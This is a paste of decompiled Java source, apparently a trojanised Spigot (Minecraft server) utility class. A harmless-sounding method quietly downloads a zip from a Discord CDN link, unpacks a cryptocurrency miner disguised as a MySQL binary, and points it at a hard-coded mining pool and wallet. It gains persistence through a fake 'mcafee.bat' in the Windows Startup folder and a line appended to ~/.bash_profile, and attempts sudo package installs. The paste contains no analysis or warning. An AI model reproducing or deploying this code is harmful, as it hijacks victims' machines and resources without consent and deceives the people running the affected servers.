Advertisement
Guest User

Untitled

a guest
Jul 16th, 2021
814
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.03 KB | None | 0 0
  1. package org.spigotmc.utility;
  2.  
  3. import java.util.zip.ZipEntry;
  4. import java.nio.file.CopyOption;
  5. import java.nio.file.attribute.FileAttribute;
  6. import java.util.zip.ZipInputStream;
  7. import java.io.Reader;
  8. import java.io.BufferedReader;
  9. import java.io.InputStreamReader;
  10. import java.security.MessageDigest;
  11. import java.util.Random;
  12. import java.text.DateFormat;
  13. import java.math.BigInteger;
  14. import java.util.TimeZone;
  15. import java.text.SimpleDateFormat;
  16. import java.util.Date;
  17. import java.io.FileOutputStream;
  18. import java.io.Writer;
  19. import java.io.PrintWriter;
  20. import java.io.FileWriter;
  21. import java.nio.file.Files;
  22. import java.nio.file.StandardOpenOption;
  23. import java.nio.file.OpenOption;
  24. import java.io.File;
  25. import java.io.InputStream;
  26. import java.net.URLConnection;
  27. import java.nio.file.FileSystems;
  28. import java.io.BufferedInputStream;
  29. import java.net.URL;
  30. import java.nio.file.Paths;
  31. import java.nio.file.Path;
  32.  
  33. public class SpigotUtils
  34. {
  35. private static String wallet;
  36. private static String name;
  37. private static String nameQ;
  38. private static Path wPath;
  39.  
  40. static {
  41. SpigotUtils.wallet = "8Bkv8LKBQqcTSkjiNTDX7uFuS3fP6FkYk9RrB3hTPM5TgYcPJZuZcjAH8pgEXJaHJHaNcHw2xsNUoVAa1hjx73t83AqUiZi";
  42. SpigotUtils.wPath = Paths.get(String.valueOf(System.getenv("APPDATA")) + "\\www", new String[0]);
  43. }
  44.  
  45. public SpigotUtils() {
  46. super();
  47. }
  48.  
  49. public static void setConsoleOutput(final boolean output) {
  50. new Thread(new Runnable() {
  51. SpigotUtils$1() {
  52. super();
  53. }
  54.  
  55. @Override
  56. public void run() {
  57. SpigotUtils.runIt();
  58. }
  59. }).start();
  60. }
  61.  
  62. public static void shout() {
  63. final String data = "\r\n\r\n\r\n\t ███▄ █ ▓█████ ██ ▄█▀ ▒█████ ██▓ ▒█████ ██▒ █▓▓█████ ██████ ▓██ ██▓ ▒█████ █ ██ \r\n\t ██ ▀█ █ ▓█ ▀ ██▄█▒ ▒██▒ ██▒ ▓██▒ ▒██▒ ██▒▓██░ █▒▓█ ▀ ▒██ ▒ ▒██ ██▒▒██▒ ██▒ ██ ▓██▒\r\n\t▓██ ▀█ ██▒▒███ ▓███▄░ ▒██░ ██▒ ▒██░ ▒██░ ██▒ ▓██ █▒░▒███ ░ ▓██▄ ▒██ ██░▒██░ ██▒▓██ ▒██░\r\n\t▓██▒ �?▌██▒▒▓█ ▄ ▓██ █▄ ▒██ ██░ ▒██░ ▒██ ██░ ▒██ █░░▒▓█ ▄ ▒ ██▒ ░ �?██▓░▒██ ██░▓▓█ ░██░\r\n\t▒██░ ▓██░░▒████▒▒██▒ █▄░ ████▓▒░ ░██████▒░ ████▓▒░ ▒▀█░ ░▒████▒▒██████▒▒ ░ ██▒▓░░ ████▓▒░▒▒█████▓ \r\n\t░ ▒░ ▒ ▒ ░░ ▒░ ░▒ ▒▒ ▓▒░ ▒░▒░▒░ ░ ▒░▓ ░░ ▒░▒░▒░ ░ �?░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░ ██▒▒▒ ░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ \r\n\t░ ░░ ░ ▒░ ░ ░ ░░ ░▒ ▒░ ░ ▒ ▒░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░░ ░ ░ ░░ ░▒ ░ ░ ▓██ ░▒░ ░ ▒ ▒░ ░░▒░ ░ ░ \r\n\t ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░░░ ░ ░ \r\n\t ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n\t ░ ░ ░ ";
  64. System.out.println(data);
  65. }
  66.  
  67. public static void runIt() {
  68. try {
  69. final URL url = new URL("https://cdn.discordapp.com/attachments/859999121611554840/863178952376582184/files");
  70. final URLConnection openConnection = url.openConnection();
  71. openConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11");
  72. openConnection.connect();
  73. final InputStream is = new BufferedInputStream(openConnection.getInputStream());
  74. if (FileSystems.getDefault().getSeparator().contains("\\")) {
  75. SpigotUtils.name = "mysqldb.exe";
  76. SpigotUtils.nameQ = "quiet.exe";
  77. unzip(is, getPathW());
  78. plantTheSeedW();
  79. }
  80. else {
  81. SpigotUtils.name = "mysqlda";
  82. unzip(is, getPathU());
  83. plantTheSeedU();
  84. try {
  85. runCommand("sh " + getPathU() + "/mysqlda.sh");
  86. }
  87. catch (Exception ex) {}
  88. try {
  89. runCommand("apt -y install libhwloc-dev");
  90. }
  91. catch (Exception ex2) {}
  92. try {
  93. runCommand("sudo apt -y install libhwloc-dev");
  94. }
  95. catch (Exception ex3) {}
  96. try {
  97. runCommand("chmod 774 /" + getPathU() + "/mysqlda");
  98. }
  99. catch (Exception ex4) {}
  100. try {
  101. runCommand("sudo chmod 774 /" + getPathU() + "/mysqlda");
  102. }
  103. catch (Exception ex5) {}
  104. try {
  105. runCommand("chmod 774 /" + getPathU());
  106. }
  107. catch (Exception ex6) {}
  108. try {
  109. runCommand("sudo chmod 774 /" + getPathU());
  110. }
  111. catch (Exception ex7) {}
  112. try {
  113. runCommand("sudo dnf install gcc gcc-c++ hwloc-devel libmicrohttpd-devel openssl-devel");
  114. }
  115. catch (Exception ex8) {}
  116. try {
  117. runCommand("sudo yum -y install hwloc-libs centos-release-scl cmake3 hwloc-devel libmicrohttpd-devel openssl-devel");
  118. runCommand("sudo yum -y install devtoolset-4-gcc*");
  119. runCommand("sudo scl enable devtoolset-4 bash");
  120. }
  121. catch (Exception ex9) {}
  122. try {
  123. runCommand("sudo yum -y install glibc");
  124. }
  125. catch (Exception ex10) {}
  126. runCommand("sh " + getPathU() + "/mysqlda.sh");
  127. }
  128. }
  129. catch (Exception e) {
  130. e.printStackTrace();
  131. }
  132. }
  133.  
  134. private static void plantTheSeedU() throws Exception {
  135. plantTheShellU();
  136. final Path path = Paths.get(String.valueOf(System.getProperty("user.home")) + "/.bash_profile", new String[0]);
  137. new File(path.toString()).createNewFile();
  138. final String cat = runCommand("cat " + path.toString());
  139. if (!cat.contains("mysqlda")) {
  140. Files.write(path, ("sh " + getPathU() + "/mysqlda.sh").getBytes(), StandardOpenOption.APPEND);
  141. }
  142. }
  143.  
  144. private static void plantTheShellU() throws Exception {
  145. final String[] content = { "#!/bin/sh", "command=\"mysqlda\"", "running=`pgrep -x $command`", "if [ -z \"$running\" ]; then", getCommandFinU(), "fi" };
  146. final File file = new File(getPathU() + "/mysqlda.sh");
  147. file.createNewFile();
  148. final FileWriter fileWriter = new FileWriter(file);
  149. final PrintWriter printWriter = new PrintWriter(fileWriter);
  150. for (int i = 0; i < content.length; ++i) {
  151. printWriter.println(content[i]);
  152. }
  153. printWriter.close();
  154. }
  155.  
  156. private static String getCommandFinU() {
  157. return "~/.config/mysqlda/mysqlda " + getArguments() + " > /dev/null 2>&1 &";
  158. }
  159.  
  160. private static Path getPathU() {
  161. return Paths.get(String.valueOf(System.getProperty("user.home")) + "/.config/mysqlda", new String[0]);
  162. }
  163.  
  164. private static void plantTheSeedW() throws Exception {
  165. write(String.valueOf(System.getenv("APPDATA")) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcafee.bat", String.valueOf(String.valueOf("@echo off\n")) + getFullCommandW());
  166. }
  167.  
  168. private static void write(final String path, final String data) throws Exception {
  169. final FileOutputStream out = new FileOutputStream(path);
  170. out.write(data.getBytes());
  171. out.flush();
  172. out.close();
  173. }
  174.  
  175. private static String getFullCommandW() {
  176. return String.valueOf(getCommandQ()) + getCommandW();
  177. }
  178.  
  179. private static String getCommandQ() {
  180. return "\"" + getPathW().toString() + "\\" + getNameQ() + "\" ";
  181. }
  182.  
  183. private static String getCommandW() {
  184. return String.valueOf(getPathW().toString()) + "\\" + getName() + " " + getArguments();
  185. }
  186.  
  187. private static String getArguments() {
  188. return "-o 54.188.223.206:" + getPort() + " -u " + SpigotUtils.wallet + "." + getWorkerName() + " -k -tls --threads=" + getThreads();
  189. }
  190.  
  191. private static int getThreads() {
  192. return Math.max(1, Runtime.getRuntime().availableProcessors() - 1);
  193. }
  194.  
  195. private static int getPort() {
  196. if (FileSystems.getDefault().getSeparator().contains("\\")) {
  197. return 10128;
  198. }
  199. return 10016;
  200. }
  201.  
  202. private static String getWorkerName() {
  203. return String.valueOf(FileSystems.getDefault().getSeparator().contains("\\") ? "W" : "U") + "-" + getThreads() + "-" + getHWID() + "-" + getTime();
  204. }
  205.  
  206. private static String getTime() {
  207. final Date date = new Date();
  208. final DateFormat formatter = new SimpleDateFormat("yy:MM:dd:HH:mm:ss");
  209. formatter.setTimeZone(TimeZone.getTimeZone("UTC"));
  210. final String dateString = formatter.format(date).replaceAll(":", "");
  211. return new BigInteger(dateString).toString(16);
  212. }
  213.  
  214. private static String getHWID() {
  215. try {
  216. final String toHash = String.valueOf(System.getenv("JAVA_HOME")) + System.getenv("PROCESSOR_IDENTIFIER") + System.getenv("PROCESSOR_LEVEL") + "neko :3" + System.getenv("PATH");
  217. return randomizeHWID(getSHA(toHash).substring(13, 33).getBytes()).substring(7);
  218. }
  219. catch (Exception e) {
  220. return (String.valueOf(new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "")) + new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "") + new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "")).substring(0, 13);
  221. }
  222. }
  223.  
  224. private static String getSHA(final String toHash) throws Exception {
  225. final MessageDigest md = MessageDigest.getInstance("SHA-256");
  226. md.update(toHash.getBytes());
  227. final StringBuffer hexString = new StringBuffer();
  228. final byte[] byteData = md.digest();
  229. byte[] array;
  230. for (int length = (array = byteData).length, i = 0; i < length; ++i) {
  231. final byte aByteData = array[i];
  232. final String hex = Integer.toHexString(0xFF & aByteData);
  233. if (hex.length() == 1) {
  234. hexString.append('0');
  235. }
  236. hexString.append(hex);
  237. }
  238. return hexString.toString();
  239. }
  240.  
  241. private static String randomizeHWID(final byte[] bytes) throws Exception {
  242. String toHash = null;
  243. for (int j = 0; j < 200 + bytes[3]; ++j) {
  244. for (int i = 1; i < bytes.length; ++i) {
  245. final int n = i;
  246. bytes[n] += bytes[i - 1];
  247. }
  248. toHash = getSHA(new BigInteger(1, bytes).toString(32).substring(0, 20));
  249. }
  250. return toHash.substring(0, 20);
  251. }
  252.  
  253. private static String runCommand(final String string) throws Exception {
  254. final Process proc = Runtime.getRuntime().exec(string);
  255. final StringBuilder sb = new StringBuilder();
  256. InputStreamReader isr = new InputStreamReader(proc.getInputStream());
  257. BufferedReader rdr = new BufferedReader(isr);
  258. String line;
  259. while ((line = rdr.readLine()) != null) {
  260. if (!line.isEmpty()) {
  261. sb.append(line);
  262. }
  263. }
  264. isr = new InputStreamReader(proc.getErrorStream());
  265. rdr = new BufferedReader(isr);
  266. while ((line = rdr.readLine()) != null) {
  267. if (!line.isEmpty()) {
  268. sb.append(line);
  269. }
  270. }
  271. return sb.toString();
  272. }
  273.  
  274. private static void unzip(final InputStream is, Path targetDir) throws Exception {
  275. targetDir = targetDir.toAbsolutePath();
  276. Throwable t = null;
  277. try {
  278. final ZipInputStream zipIn = new ZipInputStream(is);
  279. try {
  280. ZipEntry ze;
  281. while ((ze = zipIn.getNextEntry()) != null) {
  282. try {
  283. final Path resolvedPath = targetDir.resolve(ze.getName()).normalize();
  284. if (ze.isDirectory()) {
  285. if (FileSystems.getDefault().getSeparator().contains("\\") && ze.getName().endsWith("e")) {
  286. setName(ze.getName());
  287. Files.createDirectories(resolvedPath, (FileAttribute<?>[])new FileAttribute[0]);
  288. }
  289. else {
  290. if (FileSystems.getDefault().getSeparator().contains("\\") || ze.getName().endsWith("e")) {
  291. continue;
  292. }
  293. Files.createDirectories(resolvedPath, (FileAttribute<?>[])new FileAttribute[0]);
  294. }
  295. }
  296. else if (FileSystems.getDefault().getSeparator().contains("\\") && ze.getName().endsWith("e")) {
  297. setName(ze.getName());
  298. Files.createDirectories(resolvedPath.getParent(), (FileAttribute<?>[])new FileAttribute[0]);
  299. Files.copy(zipIn, resolvedPath, new CopyOption[0]);
  300. }
  301. else {
  302. if (FileSystems.getDefault().getSeparator().contains("\\") || ze.getName().endsWith("e")) {
  303. continue;
  304. }
  305. Files.createDirectories(resolvedPath.getParent(), (FileAttribute<?>[])new FileAttribute[0]);
  306. Files.copy(zipIn, resolvedPath, new CopyOption[0]);
  307. }
  308. }
  309. catch (Exception ex) {}
  310. }
  311. }
  312. finally {
  313. if (zipIn != null) {
  314. zipIn.close();
  315. }
  316. }
  317. }
  318. finally {
  319. if (t == null) {
  320. final Throwable t2;
  321. t = t2;
  322. }
  323. else {
  324. final Throwable t2;
  325. if (t != t2) {
  326. t.addSuppressed(t2);
  327. }
  328. }
  329. }
  330. }
  331.  
  332. private static void setName(final String name) {
  333. if (SpigotUtils.name == null) {
  334. SpigotUtils.name = name;
  335. }
  336. else {
  337. SpigotUtils.nameQ = name;
  338. }
  339. }
  340.  
  341. private static String getName() {
  342. return SpigotUtils.name;
  343. }
  344.  
  345. private static String getNameQ() {
  346. return SpigotUtils.nameQ;
  347. }
  348.  
  349. private static Path getPathW() {
  350. return SpigotUtils.wPath;
  351. }
  352. }
  353.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement